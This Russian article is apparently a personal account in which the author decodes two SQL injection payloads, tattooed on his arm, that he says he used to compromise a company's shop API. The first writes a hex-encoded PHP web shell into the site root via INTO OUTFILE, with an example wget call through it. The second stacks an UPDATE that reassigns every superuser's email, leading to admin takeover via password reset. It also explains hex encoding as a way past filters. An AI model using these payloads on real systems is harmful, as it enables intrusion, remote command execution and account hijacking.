У меня на руке от запястья до локтя сделана татуировка, которая издалека напоминает просто 2 полосы. На самом деле, это две SQL-инъекции с помощью которых я впервые в жизни осуществил взлом сайта.
Меня иногда спрашивают, что они значат, поэтому я решил расписать расшифровку SQL-инъекций в этой статье. Домен сайта, где инъекции были сделаны, я в статье заменил на domain.ru. Название компании я также сохраню в секрете, но это достаточно знаменитая и крупная Московская коммерческая компания.
В татуировке 2 строки:
/api/card/add/?code=-1%27+UNION+SELECT+0x3C3F7068702073797374656D28245F4745545B635D293B3F3E%2C%27%27+into+outfile+%27/home/user/domain.ru/www/set.php%27;-- /api/card/add/?code=-1%27%3B+UPDATE+users+u+LEFT+OUTER+JOIN+user_attributes+a+ON+u.id=a.internalKey+SET+email=0x4841434B454440676D61696C2E636F6D+WHERE+sudo=%271%27;--
Пока вы не прочитали разъяснения попробуйте самостоятельно разобраться, что происходит в этих двух строчках кода. Получится ли у вас разобраться?
Итак, в чём суть этого кода?
1 строка)
Эта инъекция возможна в тех проектах, где в правах доступа пользователя БД есть привилегии писать логи в файл на диск. Инъекция осуществляет запись исполняемого файла в корень сайта, через который можно выполнять любые команды в операционной системе от имени пользователя под которым работает веб-сервер.
/api/card/add/?code=-1%27+UNION+SELECT+0x3C3F7068702073797374656D28245F4745545B635D293B3F3E%2C%27%27+into+outfile+%27/home/user/domain.ru/www/set.php%27;--
Расшифрую по частям:
/api/card/add/?code=
Путь до апишки сайта. В данном случае это был коннектор действия "положить товар в корзину". И query параметр в который ожидалось, что будет передаваться артикул товара. Там даже были некоторые фильтры "защищающие" от атак подобного рода.
Далее происходит изменение SQL запроса. Запрос вида SELECT * FROM items WHERE code='001234' бла-бла-бла, дальше уже не важно... Жирным выделено то, место куда должен подставиться артикул товара. Я туда подставил:
-1%27+UNION+
-1 - артикул, которого заведомо не существует. %27 - это апостроф в кодировке URL-encode. И SQL оператор UNION который позволяет в одном запросе выполнить второй запрос. Знаки + в строке URL принимаемые веб-сервером конвертируются в пробелы.
Таким образом запрос
SELECT * FROM items WHERE code='001234'
превращается в
SELECT * FROM items WHERE code='-1' UNION ...
Далее следует целевой запрос:
SELECT+0x3C3F7068702073797374656D28245F4745545B635D293B3F3E%2C%27%27+into+outfile+%27/home/user/domain.ru/www/set.php%27
Где
0x3C3F7068702073797374656D28245F4745545B635D293B3F3E
- контент исполняемого файла в шестнадцатиричной кодировке HEX (онлайн декодер). Для меня было большим удивлением, когда в результате некоторых исследований я понял, что MySQL совершенно спокойно принимает на запись контент не только в формате строк, но и тот же самый контент закодированный в шестнадцатиричном и восьмиричном форматах. Думаю можно извратиться и закодировать контент в двоичную кодировку.
Контент в шестнадцатиричном формате легко проходит некоторые типы фильтрации и большинство самописных шаблонов фильтрации написанных на регулярных выражениях.
В расшифрованном виде контент записываемого файла выглядит так:
<?php system($_GET[c]); ?>
Записывается простейший php-скрипт, который исполняет в системе любую команду переданную через query-параметр "c", пример вызова:
www.domain.ru/set.php?c=wget+любой_файл_который_скачается_из_интернета_в_корень_сайта
Соответственно SQL инъекции:
SELECT '<?php system($_GET[c]); ?>' INTO OUTFILE 'путь_в_файловой_системе/set.php';--
И в самом конце, чтобы не нарушить синтаксис запроса нужно отсечь всё то, что могло бы следовать за артикулом товара, то что я обозначил в начале как бла-бла-бла
;--
Точка с запятой завершает целевой SQL-запрос, а символ -- в синтаксисе SQL -символ комментария, то есть, всё что будет следовать далее - будет игнорироваться.
Пререквизит: Необходимо знать абсолютный путь в файловой системе до корня сайта. Часто путь в файловой системе можно определить по сообщениям об ошибках возникших в конкретных файлах.
Защита от таких инъекций: строго ограничивать права пользователя БД, ставить запрет файловой записи.
2 строка)
Эта инъекция попроще, но вызывает улыбку. Даёт доступ ко всем администраторским учётным записям на целевом сайте:
/api/card/add/?code=-1%27%3B+UPDATE+users+u+LEFT+OUTER+JOIN+user_attributes+a+ON+u.id=a.internalKey+SET+email=0x4841434B454440676D61696C2E636F6D+WHERE+sudo=%271%27;--
Расшифровка по частям:
/api/card/add/?code=
Апишка юзалась та же самая.
Далее происходит изменение SQL запроса. Запрос следующего вида реализованный в коде сайта его разработчиками
SELECT * FROM items WHERE code='001234' бла-бла-бла...
Модифицируется мною и вместо артикула подставляется совсем другой запрос. Разберём по частям:
-1%27%3B+UPDATE...
В декодированом виде (онлайн декодер) представляет из себя:
-1'; UPDATE...
То есть запрос реализованный в коде апишки завершается точкой с запятой и сразу за ним последовательно запускается UPDATE запрос и в БД уходит следующий SQL, вместо того, что изначально задумывали разработчики сайта:
SELECT * FROM items WHERE code='-1'; UPDATE+users+u+LEFT+OUTER+JOIN+user_attributes+a+ON+u.id=a.internalKey+SET+email=0x4841434B454440676D61696C2E636F6D+WHERE+sudo=%271%27;--' бла-бла-бла...
То есть один селект, который вернёт пустой ответ и сразу за ним UPDATE таблицы users. Я в эту инъекцию даже LEFT OUTER JOIN завернул! )))
Таблицы users и user_attributes сличаются по id. Разумеется я знал структуру таблиц и нейминг полей. Сайт работал (и работает сейчас) на достаточно популярной CMS и её исходный код открыт и доступен всем желающим бесплатно.
В итоге мой запрос делает следующее:
UPDATE users u LEFT OUTER JOIN user_attributes a ON u.id=a.internalKey SET email=0x4841434B454440676D61696C2E636F6D WHERE sudo='1';--' бла-бла-бла...
WHERE sudo='1' - означает для всех администраторов с правами суперпользователя
SET email=0x4841434B454440676D61696C2E636F6D
Делаем что? Устанавливаем мой email в качестве основного... всем администраторам сайта ))) Email закодирован в шестнадцатиричной кодировке HEX (онлайн декодер). Соответственно следующим шагом, используя стандартный механизм восстановления пароля, я получил полный контроль над всеми учётными записями атакуемого сайта с правами супер пользователя.
Эта уязвимость также уже давно была закрыта на том сайте, по моей собственной рекомендации, поэтому я могу рассказывать об этом совершенно спокойно.
По итогам своего исследования я написал статью о том как усилить защиту сайтов от взлома сайт реализованных на этой же CMS. И заказал себе татуировку на память - идея показалась мне весьма оригинальной.